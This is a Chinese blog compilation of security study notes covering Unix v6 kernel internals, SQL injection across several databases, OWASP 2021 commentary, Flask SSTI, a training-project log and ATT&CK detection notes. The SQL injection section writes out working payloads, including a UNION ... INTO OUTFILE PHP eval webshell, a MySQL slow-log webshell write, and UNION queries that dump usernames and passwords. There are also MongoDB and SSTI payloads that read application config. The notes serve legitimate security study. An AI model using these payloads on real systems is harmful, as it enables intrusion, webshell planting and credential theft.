Unix源码分析

霍林老师是我在大学中给我影响也相当大的一位老师。在给我们上数据结构和操作系统的时候,她展现了对于计算机的透彻理解,她的教学目的是让我们把所学知识融会贯通,并且将思想融入到各个领域。霍老师曾用战场比喻计算机技术,战车、兵马、枪炮是数据结构,而高效利用它们取得胜利的则是战术,也就是算法。
在我阅读ATT&CK一书后,昔日恩师所说的话冒上心头,感慨计算机确实是万变不离其宗。在霍老师的汇报上,老师向我们介绍了我国信息安全产品,也给我们灌输了信安的观念,从底层原理展开描述了老师对安全的理解。我思考,不想做脚本小子,要依靠自己的能力构建安全长城,就要真正从底层理清楚框架,从学习操作系统开始。
我选择学习Unix源码,他是众多os的鼻祖,尽管距离它出现已过去几十年,技术也趋于老旧,但是如今的linux、macos等等都是基于unix实现的,因此学习它很有必要。霍老师打趣道,现在给我们上课的内容还是以前她学过的内容,越是底层的东西越难发生大的变化。而且unix源码10000行左右,我有信心读完,这篇文章既是学习笔记也是备忘录,更是自己主动学习的有力证明。

我先做的,是先通读《unix内核源码剖析》

可以查看源码的网站

一、unix v6

unix诞生在1969年,V6在1975年发布

unix v6内核提供的功能:
①管理运行的进程
②内存管理
③文件系统
④文件和周边设备共享I/O
⑤中断
⑥支持终端处理

在学习操作系统的时候,对于进程管理、内存管理、文件系统等就有所学习,不过距离现在时间过得久了,印象不深了,现在就是重学习的时候。

构成unix v6运行环境的硬件:
①PDP-11:这是一个处理装置,书中以PDP-11/40这个16位计算机作为示例。也就是说它以16bit为单位对数据进行处理。处理器处理数据的单位是:字(word),一个字=16bit

PDP-11/40通过unibus进行数据的输入输出,使用内存映射(Memory Mapped I/O)人们可以对操作系统的寄存器进行操作。注意,这些寄存器被映射到内存最高位的8KB空间,内存地址是从上到下看的,最上端是0,最下端是最高位。

②PSW状态字寄存器
PSW有16位。从0到15代表不同的状态

③通用寄存器
有R0到R7一共八个通用寄存器

④MMU内存管理单元
用于地址变换以及访问权限管理

⑤内存
PDP-11/40的内存被称为磁芯内存(Magnetic Core Memory)地址长度18bit,容量为218=256KB

⑥块设备
磁盘或者磁带

⑦行式打印机

⑧终端

二、进程

进程是程序资源分配的最小单位,线程是cpu调用的最小单位。进程由多个线程构成,切换进程开销大,而且资源不共用(可能会死锁),切换线程开销小,因为共用资源。在java中多线程用thread,我曾经写过的。
进程跟线程都可以分为五个状态:创建、阻塞、就绪、执行、终止。

内核先把程序读入内存,然后把这个内存区域分给进程,所以进程拥有独立的虚拟地址空间,可以先使用虚拟内存的地址,再由MMU内存控制单元映射到实际的物理地址上。
回忆进程的组成:PCB进程控制块(包含进程ID)、数据段、正文段。

进程是并行执行的,unix v6允许多名用户同时使用,所以在任意时刻,系统中可能有多个进程。回想学习操作系统和计算机组成与原理的时候,cpu会分时调度的,只需要以人不能感知的速度反复切换进程,就能产生同时操作的效果。分时系统(Time Sharing System,TSS)

用户模式和内核模式
处理器具有两种模式:用户模式、内核模式。处理器通过PSW来进行切换(PSW的13-12表示先前、15-14表示当前,00表示内核模式,11表示用户模式)
虚拟地址在用户模式的时候会映射到用户程序的内存区域;在内核模式会映射到内核程序的区域。内存映射的实现依靠MMU内存管理单元。内核程序在系统启动的时候就已经被读取到内存中
用户程序无法访问加载内核程序的内存空间,要想访问内核功能,必须通过系统调用(system call)提出访问请求(这是强制的)。当内核处理结束又会返回用户模式。
书中提到几个用于用户空间与内核空间之间读写数据的函数:
fubute()、fuibyte()、fuword()、fuiword()、subyte()、suibyte()、suword()、suiword()

交换处理
为了防止进程过多而瘫痪内存,内核会定期休眠,将重要度低的进程从内存转移到交换空间(swap out,换出),或者将交换空间中已经处于执行状态的进程重新恢复到内存(swap in,换入),这个过程称为交换处理,由系统启动时生成的进程执行。在操作系统学习的时候,对内存管理比如动态分区,有:
·首次适应性算法
·循环首次适应算法
·最佳适应算法
·最坏适应算法

proc结构体和user结构体
这俩结构体管理进程的控制信息和状态信息,PROC结构体常驻内存,USER可能会被移至交换空间
PROC结构体
由proc结构体组成的数组proc[],里面每个元素都对应一个进程。这个结构体管理着在 进程状态、执行优先级等与进程相关的信息中需要经常被内核访问的那部分信息
每当进程要切换的时候,内核会首先检查所有进程的状态,所以为了保证效率,proc结构体常驻内存。proc[]的长度决定了在系统中可以同时存在的进程的上限,proc[]的长度由常量NPROC定义。
proc[]中的一些元素,可以与学习操作系统时的知识串在一起,比如P_time是进程在内存或者交换空间存在的时间(秒),对缺页中断的置换算法:最佳置换(opt)、先入先出置换(FIFO)、最近最久未使用置换(last recently used,LRU),进程在内存中获得资源的时间就会被作为依据进行置换算法的判定。对于一些根据优先级判断的算法,proc[]中的P_pri越小优先级越高,用户可以通过修改P_nice的值来自定义优先级,默认为0。

【进程图像】:包含两个部分,一个是常驻内存图像,如PROC[];另一部分是可交换图像(swappable image),如PPDA、数据区域、栈区域等,可以被交换到磁盘上

USER结构体
用来管理进程打开的文件或者目录等信息。不像PROC结构体常驻内存,内核只需要当前正在执行的进程的USER结构体,所以它会跟着进程切换而发生改变,比如被移出内存。
书本给出一些名词:
口口口口 实效用户、实效组、实际用户、实际组
也被称为 有效用户、有效组、真实用户、真实组
我的理解是,当前登录的用户是真实用户,但是它的权限可以发生变化,比如su命令提高权限,它的实效就会变高,但是实际用户没有发生变化。

内核可以根据全局变量”U“来访问 进程的user结构体

进程内存分配
进程的构成除了PCB还有数据段和代码段。数据段和代码段是作为两个连续的物理内存区域被分配给进程,进程通过虚拟地址访问被分配的物理内存区域。
代码段:
代码段是只读的,用来存放程序指令的机器代码。用于复用代码,提高效率。它通过数组text[]进行管理,长度由user.u_tsize表示。
数据段:
存放程序使用的变量等数据,它不能被其他进程共享

数据段

就如上图所表示,数据段的物理地址和长度分别由proc.p_addr和proc.p_size表示。数据段从上到下(地址从低到高)表示成三部分:
①PPDA(per process data area)进程数据区:
·user结构体和内核栈区域构成
·长度为USIZE×64byte=1KB,从用户空间无法访问
·内核栈区域是内核处理时的临时工作区域,每个进程都有供内核模式使用的工作区域
②数据区域:
由存放全局变量或BSS等变量的区域和进程来动态管理内存的堆区域构成。
【bss段】用来存放未初始化的全局变量和静态变量。
如果要扩展堆区域,要使用系统调用完成,从虚拟地址的低位到高位方向进行(从上到下),长度由user.u_dsize表示。
③栈区域:
用来暂时存放函数的参数或者局部数据,长度会自动扩展。栈区域的扩展是从虚拟地址的高位往地位低位方向(从下到上)进行,长度由user.u_ssize表示。

虚拟地址空间
进程拥有64KB的虚拟地址空间,通过长度为16bit的虚拟地址访问物理内存,虚拟地址由MMU内存控制单元转换为长度18bit的物理地址。
也就是说本来虚拟地址为216=64KB,转换为物理地址为218=256KB
代码段位于虚拟地址最低位的地址,往后是数据段,在往后是栈区域,栈区域在虚拟地址空间最高位。
每个进程都有独立的虚拟地址空间,但是也会有共i想的代码段。

使用虚拟地址的好处:

①程序可以使用 以任意地址为起点的内存空间:
不需要考虑该虚拟地址和物理地址的对应关系,MMU内存管理单元会解决这个问题。
②实现对内存访问的管理:
不同于直接操作实际地址可能会误操作,使用虚拟地址如果越权访问会通过MMU触发异常,终止进程处理。
③提高内存使用率:
通过映射有效利用分段的碎片的物理地址。
【但】对于unix v6,代码段和数据段是与物理地址存在对应关系的

变换地址
MMU内存管理单元通过APR(Active Page Register)寄存器将虚拟地址转换成物理地址。
一个APR由一个PAR(page address register)寄存器和一个PDR(page description register)寄存器构成。
用户进程的APR的值保存在USER结构体中,当该进程进入执行态,会将保存在USER结构体中的值设置到用户进程的APR中。
APR从0到7一共有8组,PDP-11/40对于用户模式和内核模式都有对应的APR,通过切换PSW的当前模式(00或者11)切换APR。
psw:一共16位;左边是最高位(15、14),右边是最低位(0)。根据15、14的情况判断模式。
进程的虚拟地址空间是以 segment段或page页来管理的。1组APR对应一页。PAR用来保存与各页物理地址有关的信息,PDR用来保存各页的块(64byte为单位)的数量以及是否允许访问等信息。每一页最多分配128个块(8KB)
虚拟地址最左边的高3bit决定对应的页(APR),PAR(16位)的11-0bit决定了物理地址的基址地址的块地址,加上虚拟地址的12-6bit的物理内存的块地址,再加上虚拟地址的5-0bit作为块内偏移地址,得到最后的物理地址。

说人话就是:
①拿到一个虚拟地址,先看15、14、13bit找到对应的APR[i];
②再根据虚拟地址的12、11、10、9、8、7、6这7位得到APR[i]中的PAR块的编号;
③将该块的11、10、9、8、7、6、5、4、3、2、1、0这12bit作为物理地址的基址地址;
④虚拟地址的5、4、3、2、1、0这6位作为块内偏移量(也就是物理块的块内偏移量);
⑤这样得到17-6的物理地址基址地址+5-0的物理地址块内偏移量,得到一共18bit的物理地址

在之前操作系统的学习中关于分页管理学过的,有一个页表,页表里面是页号和块号的对应方式,一页是1024,如果逻辑地址是1011,页表中页号0对应块号2,那么转换为物理地址的过程为:1011÷1024=0,0对应块号为2,那么物理地址基址为块号×1024即2×1024=2048,偏移量为1011,所以对应的物理地址为2048+1011=3059

【内核之所以可以通过全局变量U(0140000)来访问执行进程的USER结构体,是因为内核对供内核使用的APR做了相对应的设定】内核将内核模式使用的编号为6(也就是APR[6]/PAR[6])的PAR设为被执行进程的数据段的物理地址(proc.p_addr)
这是由于地址0140000(oct八进制)的高位3bit是6(十进制),如下图

140000的进制

[书中统一将内核模式使用的APR成为内核APR,用户模式使用的就是用户APR]

三、进程管理

1.进程的生命周期:
①父进程通过 系统调用 fork 创建子进程(子进程复制了父进程的数据);
②父进程执行 系统调用 wait,开始休眠等待子进程处理结束;
③子进程获得控制权,然后通过 系统调用exec,将程序读取到内存并且执行;
④子进程对应的程序执行完后,会通过 系统调用exit 结束自身运行进入僵尸状态,将控制权归还父进程;
⑤父进程取得子进程的结果,并且清理子进程。

2.进程创建:
①子进程复制父进程的数据
·复制proc[]数组元素,并且子进程的proc.p_ppid指向父进程的proc.p_pid
·复制数据段。包括PPDA(per process data area);子进程的user.u_procp指向proc[]中代表子进程的元素;子进程和父进程共享text[]中的相同元素

②父进程与子进程的联系:
·父进程只能通过遍历所有proc.p_ppid指向父进程的进程才能找到所有它的子进程。
·父进程会回收子进程结束后释放的资源
·子进程继承父进程打开的文件和当前目录等数据
·父进程和子进程共享代码段。但是如果子进程执行其他程序,这种共享关系会解除。
·父子进程互不干扰

【unix v6允许父进程介入子进程处理的跟踪机制,用管道,也就是“|”来实现父子进程通信】
【面试常问进程通信:管道、信号、信号量、共享内存、sokect】

③系统调用 fork
fork是依靠内核进程处理系统调用

——到这里暂时看不懂了,看看汇编—–

SQL注入-mysql、access、postgresql、sqlserver、oracle、MongoDB(未完成)

上一篇关于sql注入的文章已经是21年底的时候发布的了,随着安全意识提高,人们对注入类型的漏洞更加关注,经过不懈努力注入在owasp2021从原来的top1下降到top3。但是,少归少,漏洞还是会存在的,针对不同的数据库,像ACCESS、MYSQL、ORACLE、DB2等根据不同的语言特性会有不同的构造闭合手法,这篇文章先学习ACCESS和MYSQL

漏洞产生特性:可控变量、特定函数

之前的文章学习过,手动注入思路简单地说就是基于字典试错,爆数据库名-爆表名-爆字段名-爆数据,可以根据额ASCII一个个字符跑。

一、ASP+ACCESS-简易注入-字典猜测


根据ACCESS特性,如果猜不对的时候会报错,基于字典去猜表名字段名。

二、ASP+ACCESS-偏移注入-报错显示


偏移注入是解决表名已知,列名未知的问题。

三、MYSQL

MYSQL两种思路:
1.非root的注入攻击:常规的猜解
2.root用户的注入攻击:文件读写操作、跨库查询注入
黑盒中使用user(),白盒看连接用户 //判断身份

那么可以在手工找sql的思路上再改进,那就是先看数据库版本,5.0以上能用information_schema,然后看用户,根据是否是root用户采取不同的措施,然后是看当前的操作系统,因为涉及大小写、文件路径选择等,Linux对大小写敏感,windows不敏感。命令如下:
①version()
②user()
③@@version_complie_os()

下面就是传统爆下去了

本篇文章到这里相当没有营养,日后补充2.28

ACCESS无高权限注入点,只能猜解(暴力破解)

高权限除了能猜解,还能读写。

读写功能的作用是,找到文件路径之后,可以使用注入的payload注入一句话木马连接菜刀。示范(写入):
?id=2 UNION SELECT 1,'<?php eval($_POST[X]);?>’,3,4,5,6,7…into outfile ‘D:/phpstudy/PHPTutorial/WWW/blog/1.php’
上传payload到目标目录后,打开菜刀,密钥为“x”连接。
如何获得该路径呢?
1.网站报错路径显示
2.phpinfo
3.字典 //

然而读写不是一定能成功的,一些经过配置的数据库能限制对于盘符的操作。比如mysql配置文件(php-ini)里面的 secure-file-priv=中把等于号后面设置成C:/(=C:/)可以限制只能对C盘进行读写操作。(mysql5.6默认null)
如何突破?注入中需要支持SQL执行环境,如果没有就要接著phpmyadmin也许能够连上对方数据库进行绕过。
迪总演示了如何使用mysql慢日志来写入一句话木马:在数据库命令行中
1.set global slow_query_log=1;
2.set global show_query_log_file=’shell路径‘; //路径就是要插入shell的目录,比如果网站的根目录,比如说存入xxx.
3.select ‘<?php eval($_GET[a])?>’ or SLEEP(1); //一句话木马就会被写入到2步中文件的中

四、PostgreSQL:

手工注入:注入思路是万变不离其宗的,可以利用mysql注入的思路,只不过对于一些函数、查询语句的使用方法我们要区分不同数据库。

①查一下当前能被解析的select语句有几列,使用 order by * 试出页面出现错误未知,得出能显示的列数
order by *
and 1=2 union select null,null,null,null

②看回显位置。先让数据库报错,然后依次尝试正确输出的位置,通过看网页回显得出哪些列能回显数据
比如 and 1=2 union select null,’null’,null.null //他的第二位能正确回显“null”目的就实现了

③根据回显位,我们开始查询想要得到的信息,比如数据库版本,当前数据库用户等:
and 1=2 union select null,version(),null,null //查看版本,如下图


and 1=2 union select null,current_user,null,null //查看当前登录用户,如下图


and 1=2 union select null,current_database(),null,null //查看当前数据库,如下图

-获取数据库名:
and 1=2 union select null,string_agg(datname,’,’),null,null from pg_database

-获取表名:
1、and 1=2 union select null,string_agg(tablename,’,’),null,null from pg_tables where schemaname=’public’
2、and 1=2 union select null,string_agg(relname,’,’),null,null from pg_stat_user_tables

-获取列名:
and 1=2 union select null,string_agg(column_name,’,’),null,null from information_schema.columns where table_name=’reg_users’

-获取数据:
and 1=2 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users

-补充-获取dba用户(同样在DBA数据库管理员用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,’,’),null,null FROM pg_user WHERE usesuper IS TRUE

postgereSQL注入跟mysql的区别主要是对于数据据库名查询上

五、sqlserver

sqlserver的最高权限用户为 SA

思路和上面所说大体一致,区别是:
①获取版本:@@version
②获取当前数据库名字:db_name()
③获取当前用户名:user、system_user、current_user、user_name
④获取服务器主机信息:@@SERVERNAME

-获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),null,null

union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’ and name not in (‘manage’)),null,null

-获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),4) from sysobjects),null,null

-获取数据:
and 1=2 union all select null,username, password ,null from manage

六、oracle

参考:http://参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html

测回显:and 1=2 union select ‘1’,’2′ from dual

爆库:and 1=2 union select ‘1’,(select table_name from user_tables where rownum=1) from dual

模糊爆库:and 1=2 union select ‘1’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual

爆列名:and 1=2 union select ‘1’,(select column_name from all_tab_columns where rownum=1 and table_name=’sns_users’) from dual

爆其他列名:and 1=2 union select ‘1’,(select column_name from all_tab_columns where rownum=1 and table_name=’sns_users’ and column_name not in (‘USER_NAME’)) from dual

爆数据:and 1=2 union select user_name,user_pwd from “sns_users”

爆其他数据:and 1=2 union select user_name,user_pwd from “sns_users” where USER_NAME<>’hu’ //除了hu以外其他的用户和密码

七、MongoDB

参考

测回显:/new_list.php?id=1′}); return ({title:1,content:’2

爆库: /new_list.php?id=1′}); return ({title:tojson(db),content:’1

爆表: /new_list.php?id=1′}); return ({title:tojson(db.getCollectionNames()),content:’1

爆字段:/new_list.php?id=1′}); return ({title:tojson(db.Authority_confidential.find()[0]),content:’1

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。

db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

堆叠、带外:
带外:dnslog


OWASP2021

开放式Web应用程序安全项目(OWASP,Open Web Application Security Project),top10 展示了当前对web应用威胁最大应用最广的漏洞,学习目的在于了解当前最新的安全动态、走向,针对其内容更有针对性的学习安全,下图是owasp2021相较于2017的比较图,不难发现新增了三种威胁,而2017的威胁的排名在2021均有变化。

owasp2021 top10 分别是:

1.Broken Access Control 失效的访问控制
2.Cryptographic Failures 加密失败
3.Injection 注入
4.Insecure Design 不安全的设计 //new
5.Security Misconfigration 安全配置错误
6.Vulnerable and Outdated Components 易受攻击和过时的组件
7.Identification and Authentication Failures 认证和授权失败
8.Software and Data Integrity Failures 软件和数据完整性故障 //new
9.Security Logging and Monitoring Failures 安全日志和监控失效
10.Server-Side Request Forgery 服务器请求伪造 //new

总体来看信息安全问题归根到底还是人的问题,比如新上榜的不安全的设计,注入、安全配置错误、易受攻击和过时的组件,都是人为因素占比相当大。体现的是在当前信息化的社会里,很多信息、网络管理员的安全意识淡薄,对于自己配制的信息不熟悉,对其所在的企事业单位的信息系统整体框架不了解,对于当前信息安全发展动向不清楚,对新的安全技术学习不认真。

再仔细看,如果把top10中某些漏洞联系起来看,能发现一个趋势–内网安全问题变得严峻。我得出这个结论最重要的一个论据就是第十位新上榜的SSRF服务端请求伪造,攻击者使用这个技术来实现跨域、横向移动等战术。这说明越来越多的内部网络发现来自内网设备的攻击,这应该引起大家的注意,毕竟当前内网安全的保障仍需完善。

黄保华老师在课上曾不止一次提到,防止安全事故发生要做到两项极重要的事情,一个是访问控制,另一个是安全审计。2021 top10 的首位是失效的访问控制,即攻击者通过绕过等技术,以任意身份访问被限制访问的系统内部资源。显然倘若访问控制失效,攻击者就会如入无人之境。

对于安全审计,我预言不久之后随着防御技术更加成熟,以ATT&CK框架为代表的中级模型被广泛应用后,攻击者可能会采取更意想不到的战术、技术入侵、破坏信息系统。随后攻击者会将把重心集中在破坏审计这个环节。通过破坏审计,让已有框架的搜集功能失效,让上下文信息的联系断开,使得防守方应急速度落后于攻击者的攻击速度、导致防守方无法短时间内制定出方案,无法止损。并且即便处理了漏洞,也无法对事件起因进行分析,无法溯源,对于防御下一次攻击以及更新防御方案,更新防御技术框架十分不利。

基于这个预言,我认为从事安全行业的研究者必须提高警惕,通过改进、巩固,更新已有的安全审计技术和设施,找到更加先进,高效的方法使得攻击者的战术难以实现。我认为,隐写溯源技术,除了在保护版权、保护涉密文件有重大作用外,对于安全审计来说也能发挥其功能。鉴于隐写溯源技术未普及,仅作粗浅判断。目前隐写溯源技术主要还是将数字水印(包含操作人员、设备等秘密信息)利用隐写术嵌入如图像、音频、视频中,后期通过提取识别、验证数字水印实现防伪、溯源的效果。借鉴该思想,对于分析安全事件的核心日志等文件,也可以使用隐写溯源技术分布式的镶嵌在某处或者多处,当攻击者企图篡改日志、破坏日志、混淆数据的时候,我们可以根据水印来检测真伪并且一定程度上进行溯源。隐写溯源技术是具有鲁棒性、脆弱性、不可感知性的,我认为日后它将广泛应用于更行各业之中,本篇文章主要是学习owasp2021同2017的异同分析,对于隐写溯源就不再多描述了。

(ps:照这么发展,以后owasp top 10可能还会出现:失效的隐写溯源,哈哈)

下面我会结合网上优秀文章对新的top10进行讨论。

一、top1

新的top1是失效的访问控制(原top5),取代了注入。调查显示94%受测试的应用程序存在该漏洞。
我认为这很有可能是随着信息化的发展,各行业纷纷转型,而由于技术、资金、安全观念不足,大多企业会使用网上开源的代码,或者雇用经验不足的技术人员,又或者是企业内的技术人员的安全意识不够充分,引起安全问题。
展开来说,编写网站的程序员贪图方便照搬了网上开源的CMS源码,对于一些必须严格执行访问控制的功能点没进行检查。我们知道系统如果没有访问控制,会让非法用户任意跳转页面,或者操作资源。我们应该首先验证身份,再根据授权情况给予放行等操作。一般的验证方式要么写在每个功能页之中,要么就写在一个文件里,通过文件包含去应用所有功能页,我们还会使用cookie或者session、token等技术来快速验证身份。
问题就出在某些功能页没有写上验证代码或者没有引用验证代码,攻击者通过目录扫描技术很快就能找到这些文件,通过工具或者人工检查找到缺少验证的地方,就能直接绕开访问控制,实现跳转。

二、top2

新的top2是加密失败(原top3 敏感数据泄露),网上文章说这是“广泛的症状不是根本原因”,那根本原因是啥啊.……就我所学来看,加密失败与密码学发展有相关性,与当前加密技术、编码技术相关。比方说最普遍的MD5存在哈希碰撞,彩虹表,很多数据库中保存的密码仅简单的加密,很容易被破解为明文,连盐都不加,加密后的md5值放在在线工具一下子就被破解出来了。另一个影响比较大的是保存系统认证的密码、凭证等,如windows的LM Hash和NTLM Hash加密后的内容被破解,让攻击者能实现在内网中提权以及横向移动,危害性很大。
那么需要我们找到更安全的加密技术,比如采取国产加密算法等。同时它上升到top2应该引起人们对密码学关注,根据本人在学校密码学学习,我们用的技术趋于过时,存在极大的被破解风险,就比如随着计算机的算力提高DES都存在被暴力破解。而在未来量子计算技术很有可能打破现有大部分的加密方式。
加密失败举例子说明常见的找到配置文件,根据规则替换掉攻击者想要的密码。

三、top3

新的top3是注入(原top1)学习web安全首先接触的是SQL注入漏洞,xss漏洞(漏洞之王),注入的危害度相比以前有所下降,我想跟如今的安全技术提高有关。从1998年sql注入刚引起瞩目到2017年,这十几二十年的技术发展,频频爆出的注入漏洞一次又一次的提醒开发人员要对传进来的参数进行严格的过滤、控制,我很赞同那个观点–“一切来自用户的输入都是不可信的”。霍林老师在报告中提到,以往很多技术在设计之初是不考虑安全问题的,谁也无法预料未来攻击者会以何种方式找到漏洞并且攻击。比如SQL注入,设计之初没考虑好若有人存心构造payload闭合select语句会产生如此大的危害。
立足当下,我们依然要严格的对传入的参数进行严格的过滤、限制。

四、top4

新的top4是不安全的设计,这是新上榜的威胁,取代了原来的xxe漏洞。它的上榜体现了安全相关从业人员、开发人员正在寻求更多的安全模式,在设计应用或者流程之初就要考虑到安全性。
不安全的设计说白了类似上一点提到的,设计者在关键功能点没有进行细致的安全考虑,出现了验证的漏洞,支付逻辑漏洞,业务逻辑漏洞等安全问题。
比如前后端验证没做好,在某些支付逻辑漏洞中,仅通过修改物品的单价或者数量就能实现对最后价格的修改,0元购不是梦;再比如,任意密码找回,某些验证码的安全机制设计得并不完善,易被绕过;有的验证码不限制次数导致攻击者可以通过爆破求出验证码;还有的验证码允许复用,既先合法进行业务拿到合法的验证码,然后将该验证码用于找回其他任意账户的密码等,这些都是在逻辑上存在的安全问题。

五、top5

新的top5是安全配置错误(原top6),这仍是管理人员疏忽的地方,很多漏洞是基于某些框架、语言的特性利用的,比如php在低版本会存在一些魔术符号,若被错误开启,或者默认开启,攻击者会通过这些错误的安全配置进行攻击。在安全开发我们往往寻求最小特权原则,不必要的功能我们要严格限制,给予用户或者系统实现某种业务最基本的功能权限就足够了,比如一些仅用来留言的功能点,没必要配置其能够解析命令,又比如说宏病毒、eval函数,很多时候我们可以通过禁止宏、禁用eval函数来规避它们被攻击者恶意利用。
再者,我们应该更加注重自身的安全意识培养,对于使用框架或者其他情况,面对大量的可控配置,我们要熟知涉及到安全问题的配置信息,严格的遵守操作手册,对默认配置进行修改,对权限进行合理的增删。

六、top6

新的top6是脆弱的和过时的组件(原top9使用存在已知漏洞的组件)。不难看出这也是人为因素占据大部分责任的威胁。
在web应用、操作系统、数据库管理系统等诸多方面,为了实现不同的需求、便利操作,往往人们选择使用第三方组件、控件,那么这些组件出现安全问题将直接危害到它的载体也就是会危害设备或者系统。在去年年末爆发的log4j2安全漏洞,它是apache推出的日志系统,被广泛使用在apache的产品中,它存在任意代码执行漏洞,使用该组件的所有资产均受到威胁。

七、top7

新的top7是认证和授权失败(原top2)。说明标准化框架发挥了作用。它包括密码、密钥、会话token、用户信息以及与用户身份验证有联系的信息被篡改、伪造、破坏。
比如验证来源时可以通过修改HTTP报文中的数据来伪造来源;很多时候认证和授权为了便利仅进行对某些数据字段的验证,比如状态码,这是十分危险的,因为攻击者可以修改。

八、top8

新的top8是软件和数据完整性被破坏。这是新增的威胁,推测其要实现的战术,有破坏水印对被保护的资产进行恶意泄露;对生产环境的软件进行破坏,导致设备异常如大停电,可能与apt有关。

九、top9

新的top9是安全日志记录和监控失败(原top10)。该问题会严重影响可见性和取证,如我在本篇文章开头处做出的预言那样分析,此类威胁程度会越来愈严重,下次更新它的排名应该会更高。
查阅学习ATT&CK时,我注意到当前的一些高频攻击技术常常伪装自己,比如重命名,这个时候就需要防守方检测表里不一名字的情况,在安全审计的时候提高警惕。

十、top10

新的top10是服务器请求伪造SSRF,是新上榜的安全威胁。了解到它上榜的原因,其中一个是它是安全社区中呼声最高的,同我在文章开头所说的那用,我认为这是内网安全即将迎来下一波风险挑战的信号。

总结:
owasp 仅是一项参考基准,我们可以通过它来大致判断安全的未来走势,也应该通过了解它来加强我们的安全意识。老话重提,上述top10有相当多的威胁是本能避免的,事故就是出于人的疏忽,意识薄弱,或者在一些敏感问题上思想觉悟不够高。是人在贪图方便、利益等。
有时我们不能只掌握技术,还应该要有高度的自觉性,责任心,对社会负责更要对国家负责。

python开发的web的一些安全问题

一、SSTI漏洞

①漏洞成因:
服务端收到用户的恶意输入后,未经过任何处理就将其作为web应用模板里的内容。那么,当模板引擎对该加入了恶意代码的模板进行编译渲染时,就会执行该恶意代码啊文件破坏模板环境,来达到敏感信息泄露、代码执行、Getshell的目的。比如网站更换模板。

②如何判断、检测SSIT漏洞:

模板的解析函数:flask.render_template_string()
一般有模板的应用才会有SSIT漏洞,输入的数据会被浏览器利用当前的脚本语言调用解析执行。
在迪哥的示例中,某开源的CMS中的404错误页里接收某个参数然后输出在404页面,比如“404_url”,当在url中写入“?404_url=1”的时候,404页面就会显示出“1”,同理,如果=号后面跟着类似alert(1)这样的语句,能触发弹窗等。
当发现传入的代码能被python解析,那么传入payload执行命令。模板为了统一更改样式,会在很多地方留下接收参数的点,这些点会从数据库获取数据去更新样式,该漏洞利用这些点来控制变量。

③SSTI在生产环境的什么地方常见:
·存在于模板引用的地方,如404错误页面展示
·存在数据接收引用的地方,如模板解析获取参数

④SSIT漏洞在那些语言有
php、python、js、java等都可能产生

二、PY反编译-PYC编译文件反编译源码
pyc文件是py文件编译后生成的字节码文件,之后会通过python解释器最终生成机器码运行,类似Java的.class文件,当py文件改变后,会重新生成pyc文件。
有在线工具或者GitHub上有工具进行反编译。

三、flask框架中两个函数用于提取信息

url_for()函数是用于构建操作指定函数的URL
get_flashed_messages()函数是获取传递过来的数据

/shrine/{{url_for.__globals__}}

/shrine/{{url_for.__globals__[‘current_app’].config}}

/shrine/{{get_flashed_messages.__globals__}

/shrine/{{get_flashed_messages.__globals__[‘current_app’].config}}

四、maccms(苹果cms)上的SSTI。8.X版本的漏洞

maccms多用于搞sese的。

Forag上的项目学习

江江的爱

江宝推荐我的一个平台,可以在网上学习并且做一些项目,第一个项目是来自SAP(思爱普)的。

一、关于密码策略

这是这个项目的任务书,从上图的要求看出本项目与安全态势、身份验证有关。要符合ISO 27002用于信息安全控制。

  • 身份.csv:“4G$2U3j2$cm@3ur9u”
  • 客户端密码策略.pdf:“kAcC9N5u^a**#K3Hk”

接下来是阅读下载到本地的文件,看看用户的密码是否符合标准。可以帮助我思考在企业中能否发现相关的人的漏洞并且及时修正。

1.阅读密码策略,如下图,了解密码制定、维护的策略

①可以看到首先所有等级的密码都应该每90天更新一次;
②上面提到所有的产品 系统等级的密码必须来自安全密码数据库中;
③所有用户级别不能重复使用最近十次使用过的密码;
④密码不能以明文形式传播;
⑤所有用户、系统或者LEIN/NCIC级别密码还得遵循下面规则:

•在所有系统上的最小长度为12个字符
•不是一个字典上的单词或专有名称。
•与用户ID不同。
•过期时间不超过90个日历天。
•与前十(3)个密码不相同。
•不能在安全位置外以明文或明文传输。
•输入时不显示。
•确保只重置授权用户的密码。

之后对于删除密码的策略也要了解,主要是针对合约到期、员工离职等情况密码交接时,要根据策略对密码、账户进行一个删除工作。

任务部分:审计20个密码,判断是否符合。尽管我们用程序就可以识别,但是依旧需要我们本身就有安全意识。

二、关于钓鱼

审计了几封邮件,判断是否为钓鱼邮件

三、整一个Windowsserver2019

四、审计一份扫描结果,判断存在的弊端,给出建议,获取证书。

ATT&CK(五)–高频攻击技术

之前学习了解到一些攻击组织或者恶意程序的特征分析检测方式,那么学习当今使用频率高的攻击技术的特征分析与检测也是很有必要的。

一、命令和脚本解释器(T1059)

1.powershell(T1059.001)

在之前关于powershell以及内网安全的文章提到相关内容。

2.Windows cmd shell(T1059.003)

常常使用cmd调用本机命令,并且将这些命令得输出重定向到本地管理共享文件。

检测方法:
windows得安全事件日志,包含命令行参数的进程创建(ID4688)事件,是检查windows cmd shell被恶意使用的最佳来源。重点关注不常见的执行模式以及一些跟恶意行为有关的执行模式,这就体现了使用框架的优越性,能通过判断上下文关系,来推算出攻击手段。
·检测cmd.exe进程含有混淆字符的情况,包括^、+、%、!等
·在cmd.exe中大量使用set和call命令
·将输出重定向到本地主机管理共享中,例如:>\\computername\c$
·执行会引发其他攻击相关的命令(例如调用regsvr32.exe或者regasm.exe或者加载DLL)
·调用reg.exe,修改注册表,启用或者禁用掉远程桌面或者用户访问控制等功能

二、利用已签名二进制文件代理执行(T1218)

该技术的两个子技术:Rundll32和Mshta在目前使用频率高

1.Rundll32(T1218.011)
攻击者使用Rundll32.exe直接执行恶意代码,可以避免触发安全工具,因为目前程序将其加入白名单,工具无法对其进行监控。Rundll32是windows的一个内置的进程,支持DLL。
